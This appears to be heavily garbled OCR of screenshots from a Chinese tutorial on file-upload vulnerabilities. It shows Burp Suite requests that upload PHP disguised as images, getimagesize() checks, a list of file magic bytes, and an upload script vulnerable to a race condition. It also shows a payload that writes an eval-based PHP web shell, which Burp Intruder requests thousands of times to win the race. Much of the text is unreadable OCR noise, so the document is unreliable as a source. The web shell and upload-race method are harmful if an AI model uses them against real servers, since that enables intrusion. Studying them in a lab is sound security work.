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Burp Project Imtruder Repeater Window Help

[ Dashboard | Target l Proxy Ilmruder ]nlp_l__i‘ll ] Sequencer i Decoder I Comparer ] Extender IijE:t options ] User options | NoPE Praxy I

| nce e > i Target: htp://106.12.37.37:1000<
Request Response

[ Raw | Params [ Headers | Hex | aw | Headers | Hex | Render |

POST / HITP/1.1 A HTTP/1.1 200 OK

Hos 106.12.37.37:1000. Dats: Sun, 11 Nov 2018 10:47:21 GMT

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 10.13; rv:83.0) Gecko/20100101 Server: Apache/2.2.15 {Cent0S)

Firefox/63.0 ¥-Powered-By: PHF/5.3.3

Rocept: text/html,application/xhtmlsxml,application/xml;g=0.5,*/*;q=0.8 Content-Length: 24

Resept-Langusge: =h-CN,2h;q=0.8,2h-TW;q=0.7,2h-HK;q=0.5,en-US;q=0.3 ,en;gq=0.2 Connectien: close

Aoospt-Encoding: gzip, deflate ot=utf-g

Referer: http://106.12.
Content-Type: mult
boundary=-
Content-Langth: 4B4
DNT: 1

Connection: clos
Upgrade-Insecure-Requests: 1

---103783421610174871784968080585

37:100047
~data; FEFFRIE EF

----------------------------- 103783421610174B7378458080985
Content-Disposition: form-dats; name="MAX_FILE SIZE"

104800

1037834216101 748737840808

form-data; name="upfile”; filenam:

Jpeg

Content-Dispositios
Content-Type: image/

<?php
phpinfa|);
>

——————————— 1037834216101 7487378498080985
tion: form-data; names="submit”

_____________________________ 1037834216101 7487378498080985-~
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getimagesize

(PHP 4, PHP 5, PHP 7)
getimagesize — HR{EHG A/

iER

array getimagesize ( string $filename [, array &$imageinfo ] )

getimagesize() R XUEFNEE(T GIF, JPG, PNG, SWF, SWC, PSD, TIFF, BMP, IFF, JP2, JPX, IB2, JPC, XBM i WBMP Elf§ S A/NHIR
EESRAR T AR A LRI — N eI LA F &8 HTML 32U IMG FRICHRY height/width XAFRE,

WRTEEG) filename EENE SRS EHTREEMNE R, getimagesize() $iE[E FALSE H=4—% & warnine HIFEIR,

MRAZHENER., AROVER, Miar-Ad—a
false, XA~ DAFIBIEAS A2 AR — R

root@nobody: fvariwww/html/img
Mf(F) IRSE(E) EE(V) ME(S) &M WEH)

- BfR# “baidu 1 gif” [705/705])

# mv baidu jgylogo3.gif 1.gif
# 15

/var/www/html/img
: r t

#

root@nobe

M) HRW(E) BE(V) BR(S) =M MEH)
: 3# php -a
Interactive mode enabled

php > getimages [h



root@nebody: /var/www/html/img

s com/img/b ylogo3.gif
111.13.160.92, 111.13.160
M ER: ] |:443

MHF(F) RW(E) EE((V) BERES)
: /var fwwiw/ht
Interactive mode enabled

php > getimagesize('/
php
Notic : i shell cod line 1
> getimagesize(
[ dump(get
i

E®# “baidu_jgylogo3.gif” [

baidu jgylogo3.gif 1.gif

width=

string(9) “image/

root@n fvariwww/htmi/img

X)) MEE) TEMV) ERG) H&EO EHH)

root@nobody: /var/www/htmU/img

XFF(F) RER(E) EE(V) EJ(S) WM MWaH)
: /var L/img# php -a

ractive mode enabled

I 1111 o ! logo3.gif” [705/705]) etimagesize('/var/www/html/img

Read error! in php shell co
ww/html/img/1.9if ') ;

pwd

vim 1.php
S L i e
width="117"

string(9) "image/gif

php > phe] > var_dump(getimagesize(*
bool(false)

TRZ S X Y. Y SO X



JPEG (jpg).
PNG (pna),
GIF (gif),
ZIP Archive (zip),

TIFF (tif),

Windows Bitmap (bmp),
CAD (dwag),

Adobe Photoshop (psd),
Rich Text Format (rtf),

XML (xml},

HTML (html},

Email [thorough only] (eml),
Outlook Express (dbx),
Outlook (pst),

MS Word/Excel (xls.or.doc),
MS Access (mdb),
WordPerfect (wpd),

Adobe Acrobat (pdf),
Quicken (qdf),

Windows Password (pwl),

RAR Archive (rar),
Wave (wav),

AVI (avi),

Real Audio (ram),
Real Media (rm),
MPEG (mpg),

MPEG (mpg).
Quicktime (mov),
Windows Media (asf),
MIDI (mid),

XL PR R 1 S SR RMCHIY . AR AT DASEIX AN 3C

wiik: FFDBFF
Mtk BISO4E4T
ik 47494638
XFsk: 504B0304

Mk 49492A00

Sridsk: 424D

sk 41433130

M{k: 38425053

Wftrsk: 7B5C727466

HfEsk: 3C3IF786D6C

Witsk: 68746D6C3E

ik 44656C69766572792D646174653A
Wiksk: CFAD12FECSFD746F
sk 2142444E

W% : DOCFL1ED

rfEsk: 5374616E64617264204A
S{tik: FF575043

sk 255044462D312E

Wri%ik: ACSEBDSF

¥#hk: E3828596

Mk 52617221
Mfkik: 57415645
Wiksk: 41564920
XSk 2E7261FD
¥ 2E524D46
¥{Fs: 000001BA
Wi 000001B3
Mf%3k: 6D6F6F76
Wifsk: 3026B2758E66CF11
iFsk: 40546864

Y{R: FF D9
M$R: AE 42 60 82
w{R: 00 3B

XfFR:
SR
MR

SCFRE:

XHFR:
MR

¥R 5048

kg O R, FEAS T DA & S B A S8

ME(F) WW(E) SE(V) RR(E) #ED MEH)

O miEeEmn
& Home
= AT
Hans
Q|4
D x

@ TH
F:ij'\,t-l:,zwuqhv %

G S int(16188)
[1]=>

+ RittyE int(26736)

[2]1=>

int(1)

[3]1=>

["channels”]=>

int(3)

["mime"]=>

string(9) "image/sgif"

width="117" height="38""

)i
string(28) "width="16188"

root@nobody: var/www/html/img
XHEF) RSRE) EE((V) MR(S) AWM M)
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XEEN EERINT

mi<> u =) B moca o & ol amm
, o oy " % +ANE INewPhp * & evaljpg
BREERLEOXF: . s IR 2 ccrivvey
: eyl
R cess > eval.php.bak > n_
Ay BFERE nfo * & eval.Phpipg
* & eval2.pHp.png
© Fa t_php » 1 oeval2.zip
13} awindog N
iCioud
&y icloud Z@ (0
E |
& W eval.php
] PHP-28 £%
o T 2018/6/20
B8 awindogriiec, e 2018/6/29
EREE LR 2018713
. BAFIE...
ipl 3
i 1TH

« > 0 3 172.16.206.99/bulljupload_time/src/ B2 0w e & oy
2 asva B0 BIIA fmor Ewe EIBR Ewok Flgtue EOXt Elmns Bwe Bsuss Bse BasE Ben

X4 E1ERT, 1R7ET: uploads/eval.php error:upload the file type is not allowed, delete the file!

- - » [EERES » SFINE (E) » phpstudy » WWW » bull » upload_time > src » uploads

#+ RS £-10 =] ] -] il
-
TR
b TR
«ER

bull
shell

WM,

SO

SrC

upload



FOLDERS ar indexphp

html

css 2 Conte ype:text/html;charset=utf-8");
far sup]oaddlr 'uploads/’;
(1 _POST[ " subr

ihc € s($uploaddir)) {

(% FILES[ upfile']["tmp_name'], $uploaddir $_FILES['upfile']['name'])) {
o $uploaddir $_FILES[ 'upfile']['name’] Wy

b

fuptypes
$filename $ FILES[
& FileExt(§
) ($dot sty $file_name, "."))
y $file _name tr($file_name, $dot 1);

$file_name;

}
$filetype strtol (getFileExt($filename));

) fnewfile $uploaddi $_FILES['upfile'][ 'name’];
! (B H
rray($filetype, $uptypes)){
1 1 ($fnewfile);
i ("error:upload the file type is not allowed, delete the file!");

) {
($uploaddir

TD XHTML 1.8 Tran iona
1tmll-transitional.dtd"”

5 MM, SR A — RN SRR, Il
IS SO BB R X ) AR ) AR 55 A A 1 e
SRR,

25 i1
A% php SCHF, B TR, EoREAR.



<« C @ (i) 108.12.37.37:10005/uploads/phpinfo.php
£ aseE BOes BIIR Bcr Bims EOEd Bwek Blgtue EOXe BImng Fiow BYsums Bss

Nurl':t Found

The requested URL /uploads/phpinfo.php was not found on this server.

Apache/2 4.7 (Ubuntu) Server ar 106.12.37 37 Port 10005

FATTH] UAZS RS W _L A% B SO 2528 i — A i SC PR A2
BT 2L

[ ] a W buildnew.php

ap bulidnew.php

l <7php

2 $file  'web.php';
3 $shell  '<?php eval($_POST["key"1)?5!;
| Tile_put_contents($Tile, $shell);

>

B X4, TSNS, RILA content 5
A,
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Burp Project Intruder Repeater Window Help

| Dashboard [ Target Tl’w M Repeater ]—Sequence: rnqmderTCmmr TEmnderT?roiect options I User omeHPE meﬂ

1 % i

L Taroet T positons | Payioads | options |

@ Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to paylo

Attack type: L_Sniper

[GET juploads buildnew,php HITF/1.1
Host: 106.12.37.37:10005

Accept-Encoding: gsip, deilate

Aoeept: *I*

(Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win6d; ¥64; Trident/5.0)
Cennection: clese




*Tw Burp sSuite Froressional viZ.UDeta - Temporary Froject - licensed 1o awinaog and

Burp Project Intruder Repeater Window Help

[Fa.shboard ITu\get [ Proxy w Repeater ]Sequemer ]Deuoder ] Comparer ] Extender ] Project options ]Useropﬁoru ] NoPE Prt

[ Jawl-

IT&mel]Pﬂﬂiﬂns uo’m]

() Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various paylo:
type can be customized in different ways.

Payload set |1 x|  Payload count: 20,000

Payload type: [Numbers  |®|  Requestcount 20,000

@ Payload Options [Numbers]
This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: (® Sequential () Random

From: 1

To __;EDD

Step: 1 L
How many:

Number format
Base: ® Decimal [k Hex
Min integer digits:
Max integer digits:

Min fraction digits:

U

Max fraction digits:

Examples
1.1
G87654321.1234568



Burp Project Intruder Repeater Window Help

stived by supermar

[ Dashboard | Target [ Proxy [ intruder | Repeater | sequencer | Decoder [ Comparer | Extender [ Project options | User options | NoPE Proxy |

[+ -Jaal |

Target | Positions Options

® Payload Sets ene

You can define one or more Attack Save Columns

Intruder attack 1

type can be in

Fayioad ser - Filter: Showing all items
Payload type: [ = = — " - = ~ N R
I 4| Payload | Status |Error | Timeout | Length | Comment | |
- ifo 404 ] L a7 2
11 1 404 5] 477 T
@ Payload Options [Nu P 2 404 | 3 477
This payload type generates 3 3 404 U U a7z
- 4 404 5] L 477
Number range 5 5 404 = | 477
i s 6 404 = L 477
Type: | 7 7 404 =] L a7
'8 8 404 &l Ll 477
From: 9 9 404 fal Ll 477
=| 10 10 404 = L] 477 :
To: 11 1 404 5] O a7 i
- 12 12 404 2] L] 477
Step: 13 13 404 ] L 477
14 14 404 = L] a77 .
How many: Lis. i 44 = " 4
Number format
Base: [}
Min integer digits:
Max integer digits:
Min fraction digits:
Max fraction digits:
ene Burp Suite Professional v2.0beta - Temporary Project - I 10 awindog and actived by superman

Burp Project .Inm.;j;r .i.;pea-ur.\nﬁ.ﬁd.c-mr Heln

I Dashboard | Target H Intruder | Repeater | Sequencer I Decoder T&mmr Tmnder_r?rqea options. ] User omionsTNPE me]

ﬁmrwmiwbhdcmhkmhpﬁm

£ Request 1o hup://106.12.37.37:1000
| rorward | { Drop |

| Raw | Params | Headers | Hex |

(aton

?OST / HTTP/1.1

Jose: 106.12.37.37:10005

Mozilla/5.0 (Macintosh; Intel Mac OS5 X 10.13; rv:63.0) Coecko/20100101 Firefox/63.0
html,application/xhtml+xml, application/xml;q=0.9,%/*;qe0. 8

=h-CN,zh;q=0.8,zh-TW; q=0.7,zh-HK;q=0.5, en-US; q=0.3, en;q=0.2

gzip, deflate

content-Type: multipart/{ data; boundarys-=========cr=memsssm—————— 15892573582468145201420715283
Content-Length: 570
INT: 1
z ection: clese
IJpgrade-Insecure-Requests: 1
15892573582468145201420715283
centent-Disposition: form-data; names"MAX FILE_SIZE"
104800
15892573582468145201420715283
Jentent-Digpogition: form-data; name="upfile”; filename="buildnew.php"
Zontent-Type: text/php
1518 - yob.php' o
jfile = ‘web.php';
jsholl = '<?php eval($_POST["key"])?>'; send to Intruder #+"+1

Eile_put_contents(§£ile, Sshell); -
7=
Send to Sequencer

1589257358246814520142]

lontent-Disposition: form-data; name="submit” Send to Comparer
EfF Send 1o Decoder

1589257356246814520042| o oy i Browsar >

Engagement tools »

Change request method
Change body encoding
Copy URL

Copy as curl command
Copy to file

Paste from file

Save item

Don't intercept requests
Do intercept >
Conwert selection >
URL-encode as you type

Cut R+ aX
Copy ®+~+C

v







